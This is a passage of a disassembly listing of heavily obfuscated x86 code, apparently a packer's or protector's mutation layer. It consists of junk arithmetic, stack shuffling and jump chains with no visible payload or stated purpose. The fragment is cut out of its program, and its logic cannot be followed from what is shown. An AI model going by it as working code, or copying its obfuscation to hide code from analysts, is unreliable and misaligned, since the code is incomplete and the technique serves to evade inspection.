		jmp	loc_580E93
; ---------------------------------------------------------------------------


loc_582689:				; CODE XREF: .XComp0:00575FCBj
		add	esp, 4
		neg	edx
		add	edx, 0C7D781E4h
		add	eax, edx
		pop	edx
		jmp	loc_57C7BE
; ---------------------------------------------------------------------------
		pop	ebp
		add	[esp+4], eax
		pop	eax
		pop	esi
		push	718Ch
		mov	[esp], ecx
		push	ebp
		push	2F875C99h
		pop	ebp
		shl	ebp, 6
		jmp	loc_575353
; ---------------------------------------------------------------------------


loc_5826BD:				; CODE XREF: .XComp0:00576E72j
		pop	esp
		jmp	loc_582B7F
; ---------------------------------------------------------------------------


loc_5826C3:				; CODE XREF: .XComp0:00578EA0j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5826DB:				; CODE XREF: .XComp0:0057D8BCj
		xor	eax, 2665534Ch
		push	esi
		mov	esi, 47494910h
		neg	esi
		shl	esi, 6
		shl	esi, 7
		xor	esi, 4FC0EEB7h
		add	eax, esi
		pop	esi
		add	ebp, 2754C74h
		jmp	loc_57AA21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_582702:				; CODE XREF: sub_5A47B5-3093Dj
		mov	dh, 31h
		and	dh, 43h
		xor	dh, 71h
		neg	dh
		jmp	loc_57C788
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_582711:				; CODE XREF: .XComp0:0057C117j
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_582716:				; CODE XREF: .XComp0:0057383Cj
		push	edx
		push	ebx
		mov	ebx, 38E10641h
		mov	edx, 0C71EF9C3h
		add	edx, ebx
		pop	ebx
		add	ebp, 42AC64DFh
		add	ebp, edx
		push	eax
		mov	eax, 42AC64DFh
		jmp	loc_581B09
; ---------------------------------------------------------------------------


loc_582738:				; CODE XREF: .XComp0:00579395j
		pop	esp
		push	bx
		push	ecx
		jmp	loc_582980
; ---------------------------------------------------------------------------


loc_582741:				; CODE XREF: .XComp0:005765C0j
		push	esi
		push	5F7B4ED8h
		jmp	loc_57BD47
; ---------------------------------------------------------------------------


loc_58274C:				; CODE XREF: .XComp0:0057B882j
		pop	edi
		xor	edi, 229529AEh
		jmp	loc_57D5E9
; ---------------------------------------------------------------------------


loc_582758:				; CODE XREF: .XComp0:0057B1AEj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_57F5E9
; ---------------------------------------------------------------------------


loc_58276D:				; CODE XREF: .XComp0:005824BDj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_581752
; ---------------------------------------------------------------------------


loc_58277E:				; CODE XREF: .XComp0:0057E8A6j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	64Dh
		mov	[esp], ecx
		mov	ecx, 80000h
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_57C057
; ---------------------------------------------------------------------------


loc_5827AD:				; CODE XREF: .XComp0:0057C235j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_57C5E2
; ---------------------------------------------------------------------------


loc_5827C4:				; CODE XREF: .XComp0:0058257Aj
		push	2A96h
		mov	[esp], ecx
		mov	ecx, 2
		add	edi, ecx
		pop	ecx
		jmp	loc_57CEB9
; ---------------------------------------------------------------------------


loc_5827D9:				; CODE XREF: .XComp0:00579788j
		add	edi, 58095h
		sub	ecx, edi
		pop	edi
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_57C8D0
; ---------------------------------------------------------------------------


loc_5827EC:				; CODE XREF: .XComp0:0057B45Ej
		pop	ebx
		sub	edx, 8DFD6C80h
		jmp	loc_57BC46
; ---------------------------------------------------------------------------


loc_5827F8:				; CODE XREF: .XComp0:0058037Aj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_574695
; ---------------------------------------------------------------------------


loc_58280F:				; CODE XREF: .XComp0:00582CADj
		add	edx, 4
		push	edi
		jmp	loc_57C42D
; ---------------------------------------------------------------------------


loc_58281B:				; CODE XREF: .XComp0:0058209Aj
		mov	eax, 2991078Ch
		push	eax
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shr	ecx, 7
		push	ebx
		jmp	loc_5749E0
; ---------------------------------------------------------------------------


loc_582835:				; CODE XREF: .XComp0:0057954Cj
		sub	esi, 51205248h
		push	edi
		mov	edi, 171F6048h
		jmp	loc_57C6F5
; ---------------------------------------------------------------------------


loc_582846:				; CODE XREF: .XComp0:005792C2j
		push	edx
		mov	edx, 67CF2BF4h
		xor	edx, 2272711Fh
		jmp	loc_577DE7
; ---------------------------------------------------------------------------


loc_582857:				; CODE XREF: .XComp0:0057916Fj
		mov	cl, 0C1h
		and	cl, 0
		shl	cl, 4
		sub	cl, 98h
		mov	dh, cl
		pop	ecx
		sub	ch, dh
		pop	dx
		jmp	loc_57B8B2
; ---------------------------------------------------------------------------


loc_58286E:				; CODE XREF: .XComp0:005793B8j
		pop	ebx
		jmp	loc_57D022
; ---------------------------------------------------------------------------


loc_582874:				; CODE XREF: .XComp0:0057D70Ej
		or	esi, eax
		pop	eax
		push	ebp
		jmp	loc_5821E5
; ---------------------------------------------------------------------------


loc_58287D:				; CODE XREF: .XComp0:0057E598j
		push	eax
		not	dword ptr [esp]
		jmp	loc_57A24B
; ---------------------------------------------------------------------------


loc_582886:				; CODE XREF: .XComp0:0057ACC7j
		push	small 0E6Fh
		mov	[esp], bx
		sub	esp, 4
		mov	[esp], ecx
		push	small 0B9Fh
		jmp	loc_573637
; ---------------------------------------------------------------------------


loc_5828A0:				; CODE XREF: .XComp0:005736D5j
		shr	cl, 8
		jmp	loc_5737E3
; ---------------------------------------------------------------------------


loc_5828A8:				; CODE XREF: .XComp0:0057441Cj
		add	bx, ax
		mov	eax, [esp]
		add	esp, 4
		add	bx, ax
		sub	bx, 841h
		movzx	eax, ax
		jmp	loc_58219A
; ---------------------------------------------------------------------------


loc_5828C1:				; CODE XREF: .XComp0:00576D8Ej
		mov	[esp], edx
		jmp	loc_5743E2
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		push	0BEBh
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_58024A
; ---------------------------------------------------------------------------


loc_5828E2:				; CODE XREF: .XComp0:0057D53Cj
		add	edx, 57F7BB96h
		or	edi, edx
		jmp	loc_577804
; ---------------------------------------------------------------------------


loc_5828EF:				; CODE XREF: .XComp0:0057D9D9j
		add	esp, 4
		pop	ebx
		pop	edi
		xor	ebp, edx
		jmp	loc_573ABC
; ---------------------------------------------------------------------------


loc_5828FB:				; CODE XREF: .XComp0:00575640j
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_581835
; ---------------------------------------------------------------------------


loc_582907:				; CODE XREF: .XComp0:00576A11j
		shr	edx, 2
		jmp	loc_5748F5
; ---------------------------------------------------------------------------


loc_58290F:				; CODE XREF: .XComp0:00579880j
		push	1816h
		mov	[esp], edx
		mov	dl, ch
		push	eax
		mov	ah, dl
		mov	bl, ah
		jmp	loc_57A895
; ---------------------------------------------------------------------------


loc_582923:				; CODE XREF: .XComp0:0057A123j
		xor	cl, ah
		pop	eax
		push	ecx
		mov	ch, 38h
		jmp	loc_57A8C0
; ---------------------------------------------------------------------------


loc_58292E:				; CODE XREF: .XComp0:0058010Fj
		mov	edi, edx
		pop	edx
		add	edi, 31063567h
		jmp	loc_57D2AB
; ---------------------------------------------------------------------------


loc_58293C:				; CODE XREF: .XComp0:00573CE7j
		pop	ecx
		sub	esp, 4
		jmp	loc_57E703
; ---------------------------------------------------------------------------


loc_582945:				; CODE XREF: .XComp0:0057B0ABj
		pop	edx
		jmp	loc_578207
; ---------------------------------------------------------------------------


loc_58294B:				; CODE XREF: .XComp0:00579FD1j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebx
		mov	ebx, 65447DFFh
		jmp	loc_573AF2
; ---------------------------------------------------------------------------


loc_582965:				; CODE XREF: .XComp0:0057AE40j
		mov	ebx, 44D223EAh
		inc	ebx
		jmp	loc_57C1F9
; ---------------------------------------------------------------------------


loc_582970:				; CODE XREF: .XComp0:0057FC7Aj
		mov	eax, [esp]
		jmp	loc_5809FD
; ---------------------------------------------------------------------------


loc_582978:				; CODE XREF: .XComp0:00582302j
		push	ebp
		mov	ebp, esp
		jmp	loc_579D48
; ---------------------------------------------------------------------------


loc_582980:				; CODE XREF: .XComp0:0058273Cj
		push	eax
		mov	al, 96h
		mov	ch, 0F8h
		sub	ch, 9Fh
		jmp	loc_5786BE
; ---------------------------------------------------------------------------


loc_58298D:				; CODE XREF: .XComp0:0057D488j
		mov	ecx, edi
		mov	ebp, ecx
		jmp	loc_581DFE
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 12942798h
		sub	eax, ebx
		push	esi
		push	eax
		push	esi
		jmp	loc_5764DD
; ---------------------------------------------------------------------------


loc_5829A6:				; CODE XREF: .XComp0:00580C20j
		pop	esp
		add	edi, 4
		jmp	loc_583726
; ---------------------------------------------------------------------------


loc_5829AF:				; CODE XREF: .XComp0:00578FB0j
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		and	eax, ecx
		jmp	loc_57BA40
; ---------------------------------------------------------------------------


loc_5829C5:				; CODE XREF: .XComp0:00579070j
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_57408D
; ---------------------------------------------------------------------------


loc_5829D0:				; CODE XREF: .XComp0:0057FC62j
		mov	eax, 1AC057FBh
		jmp	loc_57EDAA
; ---------------------------------------------------------------------------


loc_5829DA:				; CODE XREF: .XComp0:0058128Dj
		mov	edx, [esp]
		jmp	loc_57B80E
; ---------------------------------------------------------------------------


loc_5829E2:				; CODE XREF: .XComp0:00575CE4j
		sub	ebp, ebx
		push	dword ptr [esp]
		jmp	loc_57978D
; ---------------------------------------------------------------------------


loc_5829EC:				; CODE XREF: .XComp0:0058223Bj
		sub	ebp, 47F23B6Fh
		sub	ebp, edx
		add	ebp, 47F23B6Fh
		pop	edx
		pop	edx
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_582A0D:				; CODE XREF: .XComp0:0057A43Ej
		push	eax
		mov	eax, 2
		push	ecx
		mov	ecx, 0D35399Fh
		and	ecx, 5135617Dh
		not	ecx
		jmp	loc_5757A3
; ---------------------------------------------------------------------------


loc_582A26:				; CODE XREF: .XComp0:00577954j
		mov	[esp], edx
		mov	edx, ebp
		push	edx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		pop	ebp
		pop	ecx
		push	66C8h
		mov	[esp], edx
		mov	edx, 67E3240Dh
		sub	edx, 0FFFFFFFFh
		push	eax
		jmp	loc_576F26
; ---------------------------------------------------------------------------


loc_582A4B:				; CODE XREF: .XComp0:00581DC8j
		mov	bl, ah
		mov	eax, [esp]
		add	esp, 4
		xor	al, bl
		mov	bx, [esp]
		push	33C5h
		mov	[esp], esi
		jmp	loc_57A8AD
; ---------------------------------------------------------------------------


loc_582A69:				; CODE XREF: .XComp0:00573F28j
		add	ecx, edi
		pop	edi
		push	edx
		mov	edx, ecx
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		push	3BBh
		mov	[esp], eax
		push	edi
		jmp	loc_57A480
; ---------------------------------------------------------------------------


loc_582A86:				; CODE XREF: .XComp0:0057846Cj
		push	cx
		not	word ptr [esp]
		mov	cx, [esp]
		jmp	loc_576AEA
; ---------------------------------------------------------------------------


loc_582A95:				; CODE XREF: .XComp0:00573842j
		mov	ebx, esp
		push	ebp
		mov	ebp, 58A23961h
		neg	ebp
		xor	ebp, edx
		xor	edx, ebp
		jmp	loc_5735B1
; ---------------------------------------------------------------------------


loc_582AA8:				; CODE XREF: .XComp0:0057AD12j
		push	ebx
		mov	ebx, esp
		jmp	loc_573A71
; ---------------------------------------------------------------------------


loc_582AB0:				; CODE XREF: .XComp0:0057B8ADj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_573B89
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_573C68
; ---------------------------------------------------------------------------


loc_582ACA:				; CODE XREF: .XComp0:0057939Fj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_57798C
; ---------------------------------------------------------------------------


loc_582ADA:				; CODE XREF: .XComp0:005754EEj
		push	4ECAh
		mov	[esp], ecx
		mov	ecx, 32754DF7h
		jmp	loc_57C692
; ---------------------------------------------------------------------------


loc_582AEC:				; CODE XREF: .XComp0:00576627j
		sub	al, 1Ch
		sub	al, 67h
		pop	edx
		add	al, 0D3h
		add	al, bl
		sub	al, 0D3h
		sub	al, 17h
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_57919F
; ---------------------------------------------------------------------------


loc_582B0D:				; CODE XREF: .XComp0:0057A191j
		add	dword ptr [esp+4], 142671C9h
		add	[esp+4], esi
		sub	dword ptr [esp+4], 142671C9h
		add	dword ptr [esp+4], 17615326h
		add	dword ptr [esp+4], 18F17E09h
		jmp	loc_58213F
; ---------------------------------------------------------------------------


loc_582B36:				; CODE XREF: .XComp0:0057CA8Fj
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_57F66E
; ---------------------------------------------------------------------------


loc_582B55:				; CODE XREF: .XComp0:00582BA4j
		not	ebp
		inc	ebp
		jmp	loc_578224
; ---------------------------------------------------------------------------


loc_582B5D:				; CODE XREF: .XComp0:0057A7B6j
		push	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1C1662E9h
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ebx, esi
		pop	esi
		jmp	loc_578DA7
; ---------------------------------------------------------------------------


loc_582B7F:				; CODE XREF: .XComp0:005826BEj
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_582B97:				; CODE XREF: .XComp0:00574C39j
		push	ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_582B55
; ---------------------------------------------------------------------------


loc_582BA9:				; CODE XREF: .XComp0:00573680j
		pop	ebx
		push	6105h
		jmp	loc_57A94E
; ---------------------------------------------------------------------------


loc_582BB4:				; CODE XREF: .XComp0:00577AD9j
		shr	ecx, 6
		push	3110h
		mov	[esp], ebx
		push	esi
		push	ebx
		mov	ebx, 39B919B8h
		shl	ebx, 1
		add	ebx, 54A2571Fh
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 0C9F603Ah
		xor	ebx, 0F47B8A5Fh
		mov	esi, ebx
		pop	ebx
		xor	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 68044553h
		jmp	loc_580E71
; ---------------------------------------------------------------------------


loc_582C05:				; CODE XREF: .XComp0:005763F6j
		add	dh, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57B9A0
; ---------------------------------------------------------------------------


loc_582C15:				; CODE XREF: .XComp0:0057C3E3j
		mov	ebp, 4
		jmp	loc_57B922
; ---------------------------------------------------------------------------


loc_582C1F:				; CODE XREF: .XComp0:00575901j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_57C06F
; ---------------------------------------------------------------------------


loc_582C2E:				; CODE XREF: .XComp0:00573EDFj
		add	esp, 4
		jmp	loc_574555
; ---------------------------------------------------------------------------


loc_582C36:				; CODE XREF: .XComp0:0057430Aj
		add	esp, 4
		push	dword ptr [eax]
		jmp	loc_57F433
; ---------------------------------------------------------------------------


loc_582C43:				; CODE XREF: .XComp0:0057E1F7j
		mov	dh, bh
		jmp	loc_582F85
; ---------------------------------------------------------------------------


loc_582C4A:				; CODE XREF: .XComp0:0058024Fj
		add	esp, 4
		push	esi
		jmp	loc_576997
; ---------------------------------------------------------------------------


loc_582C53:				; CODE XREF: .XComp0:005795AAj
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	63C6h
		mov	[esp], edx
		push	ecx
		push	71081C9Eh
		pop	ecx
		neg	ecx
		sub	ecx, 8EF7E35Eh
		mov	edx, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_577573
; ---------------------------------------------------------------------------


loc_582CAB:				; CODE XREF: .XComp0:0057C909j
		push	esp
		pop	edx
		jmp	loc_58280F
; ---------------------------------------------------------------------------


loc_582CB2:				; CODE XREF: .XComp0:00573568j
		xchg	ebp, ebx
		sub	ebx, 1
		push	edi
		mov	edi, 5F6F2F7Bh
		jmp	loc_57EEA8
; ---------------------------------------------------------------------------


loc_582CC5:				; CODE XREF: .XComp0:005743B6j
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, 15D31F1Eh
		jmp	loc_57430F
; ---------------------------------------------------------------------------


loc_582CDC:				; CODE XREF: .XComp0:0057DC8Cj
		and	ebp, 426502CFh
		jmp	loc_578CA5
; ---------------------------------------------------------------------------


loc_582CE7:				; CODE XREF: .XComp0:0057919Aj
		shr	ebx, 5
		shl	ebx, 2
		add	ebx, 31CD41AEh
		add	ebx, 809D59CBh
		jmp	loc_57F45B
; ---------------------------------------------------------------------------


loc_582CFE:				; CODE XREF: .XComp0:0057D7CAj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_577E75
; ---------------------------------------------------------------------------


loc_582D0A:				; CODE XREF: .XComp0:00573C7Fj
		push	eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		push	ecx
		mov	ecx, 0E1DA5F21h
		mov	edx, ecx
		pop	ecx
		jmp	loc_5740A8
; ---------------------------------------------------------------------------


loc_582D24:				; CODE XREF: .XComp0:005762CFj
		dec	ebp
		jmp	loc_57EE32
; ---------------------------------------------------------------------------


loc_582D2A:				; CODE XREF: .XComp0:00577870j
		pop	ebp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_57EACF
; ---------------------------------------------------------------------------


loc_582D3F:				; CODE XREF: .XComp0:0057668Cj
		and	ecx, 64A84070h
		xor	ecx, 64A00074h
		add	eax, ecx
		pop	ecx
		jmp	loc_576529
; ---------------------------------------------------------------------------


loc_582D53:				; CODE XREF: .XComp0:00573854j
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_57AA93
; ---------------------------------------------------------------------------


loc_582D6E:				; CODE XREF: .XComp0:0057CDFDj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	esi
		mov	esi, 372D6617h
		xor	esi, 16356C6Eh
		push	edx
		jmp	loc_5793AB
; ---------------------------------------------------------------------------


loc_582DA1:				; CODE XREF: .XComp0:0057A739j
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_57A3F9
; ---------------------------------------------------------------------------


loc_582DAE:				; CODE XREF: .XComp0:0057C835j
		mov	[esp], edx
		mov	dh, 97h
		dec	dh
		sub	dh, 7Eh
		push	0A20h
		mov	[esp], eax
		mov	ah, 25h
		sub	ah, 0C5h
		shl	ah, 2
		jmp	loc_57418B
; ---------------------------------------------------------------------------


loc_582DCD:				; CODE XREF: .XComp0:00574A5Cj
		add	esp, 4
		push	17CEh
		jmp	loc_5786D2
; ---------------------------------------------------------------------------


loc_582DDA:				; CODE XREF: .XComp0:00574D01j
		mov	ebx, esp
		jmp	loc_57BE0E
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_582DEB:				; CODE XREF: .XComp0:005744ABj
		mov	dh, 0C7h
		jmp	loc_57F9A6
; ---------------------------------------------------------------------------


loc_582DF2:				; CODE XREF: .XComp0:0057CEE4j
		add	ebp, esi
		add	ebp, 7FED2371h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57B71D
; ---------------------------------------------------------------------------


loc_582E05:				; CODE XREF: .XComp0:00581727j
		mov	esi, edx
		pop	edx
		jmp	loc_57398E
; ---------------------------------------------------------------------------


loc_582E0D:				; CODE XREF: .XComp0:00577387j
		pop	edx
		jmp	loc_575210
; ---------------------------------------------------------------------------


loc_582E13:				; CODE XREF: .XComp0:00578E23j
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_582F61
; ---------------------------------------------------------------------------


loc_582E1E:				; CODE XREF: .XComp0:00575681j
		pop	eax
		mov	eax, esi
		pop	esi
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, 51D0110h
		jmp	loc_57CCA7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_57E09B
; ---------------------------------------------------------------------------


loc_582E3E:				; CODE XREF: .XComp0:00581507j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_57FAC7
; ---------------------------------------------------------------------------


loc_582E48:				; CODE XREF: .XComp0:0057E720j
		sub	esp, 4
		jmp	loc_582F2A
; ---------------------------------------------------------------------------


loc_582E50:				; CODE XREF: .XComp0:0057827Dj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_578BCB
; ---------------------------------------------------------------------------


loc_582E60:				; CODE XREF: .XComp0:0057ED5Cj
		add	ebp, ecx
		push	edi
		mov	edi, 35382C31h
		or	edi, 46CE739Bh
		push	ecx
		mov	ecx, 6F417BA1h
		add	ecx, 0ECAF99BCh
		add	edi, 53433048h
		add	edi, ecx
		sub	edi, 53433048h
		pop	ecx
		sub	edi, 67E753B8h
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_57CC55
; ---------------------------------------------------------------------------


loc_582EA8:				; CODE XREF: .XComp0:005823ACj
		and	edx, 2AFC6C1Ch
		add	edx, 0FFFFFFFFh
		add	edx, 967664Fh
		neg	edx
		inc	edx
		xor	edx, 0CF43AD23h
		add	esi, 4A8A0524h
		add	esi, edx
		sub	esi, 4A8A0524h
		mov	edx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_575C4C
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_582EF1:				; CODE XREF: .XComp0:00574560j
		xor	edx, eax
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_582EF8:				; CODE XREF: .XComp0:0057C07Fj
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	edx
		mov	edx, 2
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 2
		jmp	loc_57F060
; ---------------------------------------------------------------------------


loc_582F19:				; CODE XREF: .XComp0:0057CE53j
		add	esi, 232D6C18h
		sub	esi, 575855C7h
		jmp	loc_579963
; ---------------------------------------------------------------------------


loc_582F2A:				; CODE XREF: .XComp0:00582E4Bj
		mov	[esp], eax
		mov	eax, 0C625775h
		xor	edi, eax
		pop	eax
		xor	eax, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 7AFB36F5h
		inc	ebx
		jmp	loc_575222
; ---------------------------------------------------------------------------


loc_582F49:				; CODE XREF: .XComp0:00580B1Dj
		add	esp, 4
		push	5303h
		mov	[esp], ebp
		mov	ebp, 5184C22h
		jmp	loc_578636
; ---------------------------------------------------------------------------


loc_582F61:				; CODE XREF: .XComp0:00582E19j
		push	ecx
		push	6ECE4B6Fh
		pop	ecx
		jmp	loc_576689
; ---------------------------------------------------------------------------


loc_582F6D:				; CODE XREF: .XComp0:00579EAAj
		sub	ebx, 73AF0F3Fh
		jmp	loc_575722
; ---------------------------------------------------------------------------


loc_582F78:				; CODE XREF: .XComp0:005779BDj
		push	4DE8h
		mov	[esp], ecx
		jmp	loc_579613
; ---------------------------------------------------------------------------


loc_582F85:				; CODE XREF: .XComp0:00582C45j
		pop	ebx
		jmp	loc_5736A0
; ---------------------------------------------------------------------------


loc_582F8B:				; CODE XREF: .XComp0:00576FE2j
		add	[esp+4], eax
		pop	eax
		mov	eax, [esp]
		jmp	loc_58025F
; ---------------------------------------------------------------------------


loc_582F98:				; CODE XREF: .XComp0:0057469Ej
		pop	esp
		jmp	loc_57BED5
; ---------------------------------------------------------------------------


loc_582F9E:				; CODE XREF: .XComp0:0057B670j
		pop	esi
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_58049C
; ---------------------------------------------------------------------------


loc_582FB7:				; CODE XREF: .XComp0:0057989Cj
		not	ebp
		shr	ebp, 7
		add	ebp, 2A3922DEh
		sub	ecx, ebp
		pop	ebp
		and	ebp, ecx
		pop	ecx
		sub	ebp, 41D53187h
		jmp	loc_57BB1E
; ---------------------------------------------------------------------------


loc_582FD3:				; CODE XREF: .XComp0:005775BAj
		sub	eax, 49263E1Ah
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_573F57
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 2B5Dh
		mov	[esp], ax
		jmp	loc_5792E6
; ---------------------------------------------------------------------------


loc_582FF7:				; CODE XREF: .XComp0:0057C0BCj
		mov	[esp], ebp
		push	eax
		mov	eax, 57B176BEh
		sub	eax, 6B3E3AF4h
		or	eax, 1A7B32B0h
		push	esi
		jmp	loc_575E5A
; ---------------------------------------------------------------------------


loc_583010:				; CODE XREF: .XComp0:00577AE1j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6CBC5C1Ah
		jmp	loc_57523F
; ---------------------------------------------------------------------------


loc_583023:				; CODE XREF: .XComp0:00573CC4j
		add	ebx, edi
		pop	edi
		add	ebx, 1E3F1622h
		add	ebx, eax
		sub	ebx, 1E3F1622h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_57D5D7
; ---------------------------------------------------------------------------


loc_58303F:				; CODE XREF: .XComp0:0057F543j
		neg	eax
		xor	eax, 725A2642h
		add	eax, 7FF3E9F3h
		sub	ebx, eax
		jmp	loc_573941
; ---------------------------------------------------------------------------


loc_583052:				; CODE XREF: .XComp0:0057EA7Bj
		mov	edi, esp
		jmp	loc_57E772
; ---------------------------------------------------------------------------


loc_583059:				; CODE XREF: .XComp0:0057BE1Cj
		mov	[esp], bx
		mov	bl, 0F1h
		add	ch, bl
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_57AE2A
; ---------------------------------------------------------------------------


loc_58306D:				; CODE XREF: .XComp0:0057DF67j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		jmp	loc_576A56
; ---------------------------------------------------------------------------


loc_58307C:				; CODE XREF: .XComp0:0057EB8Dj
		mov	esi, 38A57355h
		sub	esi, 38A57351h
		add	ebp, esi
		pop	esi
		push	edi
		mov	edi, 2
		add	ebp, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_577373
; ---------------------------------------------------------------------------


loc_58309D:				; CODE XREF: .XComp0:005771B5j
		shr	edx, 2
		jmp	loc_5825D8
; ---------------------------------------------------------------------------


loc_5830A5:				; CODE XREF: .XComp0:00575178j
		add	ebp, 0FE7ABFBFh
		add	ebx, 77906328h
		jmp	loc_57F531
; ---------------------------------------------------------------------------


loc_5830B6:				; CODE XREF: .XComp0:005747F2j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_57E4FA
; ---------------------------------------------------------------------------


loc_5830C4:				; CODE XREF: .XComp0:00579692j
		add	edi, 4
		push	10Eh
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_58215A
; ---------------------------------------------------------------------------


loc_5830DC:				; CODE XREF: .XComp0:0057FA19j
		mov	[esp], esi
		jmp	loc_578D66
; ---------------------------------------------------------------------------


loc_5830E4:				; CODE XREF: .XComp0:00574EB4j
		push	edi
		not	dword ptr [esp]
		pop	edi
		sub	edi, 0F458C108h
		push	3C02h
		mov	[esp], edi
		jmp	loc_573C46
; ---------------------------------------------------------------------------


loc_5830FC:				; CODE XREF: .XComp0:00576014j
		pop	ebx
		mov	esi, [esp]
		jmp	loc_58052C
; ---------------------------------------------------------------------------


loc_583105:				; CODE XREF: .XComp0:0057CE76j
		mov	[esp], ecx
		mov	ecx, 297A05B5h
		sub	ecx, 1D09D984h
		jmp	loc_574D11
; ---------------------------------------------------------------------------


